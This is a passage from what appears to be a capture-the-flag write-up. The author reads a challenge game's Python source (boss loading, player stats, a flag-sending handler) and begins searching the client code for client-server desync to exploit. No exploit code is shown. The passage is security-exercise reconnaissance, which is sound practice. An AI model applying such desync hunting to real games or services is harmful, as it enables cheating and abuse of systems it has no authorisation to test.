            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_result&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VALIDATED_OK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_result&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OBTAINED_FLAG&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_flag&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__boss_available_for_next_battle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;next_boss&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="bp"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hmm there's some unexpected code &lt;/p&gt;

&lt;h4&gt;
  
  
  Core Code
&lt;/h4&gt;

&lt;p&gt;I first read &lt;code&gt;core/game.py&lt;/code&gt; to know more about the class &lt;code&gt;Game&lt;/code&gt;. It suggests that there are a list of bosses from a json file. Most likely the list on the server is hidden&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;dataclasses&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;dataclass&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;core.config&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BOSS_DATA_FILE&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;core.models.boss&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Boss&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;core.models.player&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Player&lt;/span&gt;


&lt;span class="nd"&gt;@dataclass&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Game&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;bosses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Boss&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Player&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;default_factory&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Player&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nd"&gt;@property&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;next_boss&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Boss&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bosses&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;IndexError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

    &lt;span class="nd"&gt;@classmethod&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Game&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;bosses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__load_bosses&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BOSS_DATA_FILE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bosses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bosses&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bosses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;remove_next_boss&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bosses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bosses&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;

    &lt;span class="nd"&gt;@staticmethod&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__load_bosses&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Boss&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
                &lt;span class="nc"&gt;Boss&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;boss_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_hp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;boss_data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
                &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;boss_data&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I also looked at the player code, one interesting thing is that &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;More swords are basically useless, as they will still deal 2 damage
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;__future__&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;annotations&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;dataclasses&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;dataclass&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;TYPE_CHECKING&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;TYPE_CHECKING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;core.models.boss&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Boss&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;core.config&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BASE_ATTACK&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;POTION_POTENCY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SWORD_ATTACK_BONUS&lt;/span&gt;


&lt;span class="nd"&gt;@dataclass&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Player&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;hp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="n"&gt;max_hp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="n"&gt;gold&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="n"&gt;sword&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="n"&gt;potion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="nd"&gt;@property&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;attack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;BASE_ATTACK&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__compute_bonus_attack&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="nd"&gt;@property&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_alive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="nd"&gt;@property&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_dead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_alive&lt;/span&gt;

    &lt;span class="nd"&gt;@property&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lost_hp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;max_hp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hp&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;receive_attack_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;attacker&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Boss&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hp&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;attacker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;attack&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;use_potion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__has_potion&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;potion&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;POTION_POTENCY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;max_hp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nd"&gt;@classmethod&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;from_json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Player&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;to_json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__dict__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__compute_bonus_attack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__has_sword&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;SWORD_ATTACK_BONUS&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__has_sword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sword&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__has_potion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;potion&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__str__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HP:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hp&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;max_hp&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ATTACK:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;attack&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GOLD:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gold&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POTIONS:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;potion&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Client Code
&lt;/h4&gt;

&lt;p&gt;I tried looking at the client code, which is kinda weird. I ended up stumbling on &lt;code&gt;src/client/event/battleevent.py&lt;/code&gt; I wanted to find if there's anything client side that doesn't sync with server side. Maybe we could exploit that.&lt;/p&gt;

&lt;p&gt;From the looks of it the client side initialises everything separately from the server. It uses new models, and does not always update from the server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;GameClient&lt;/span&gt;
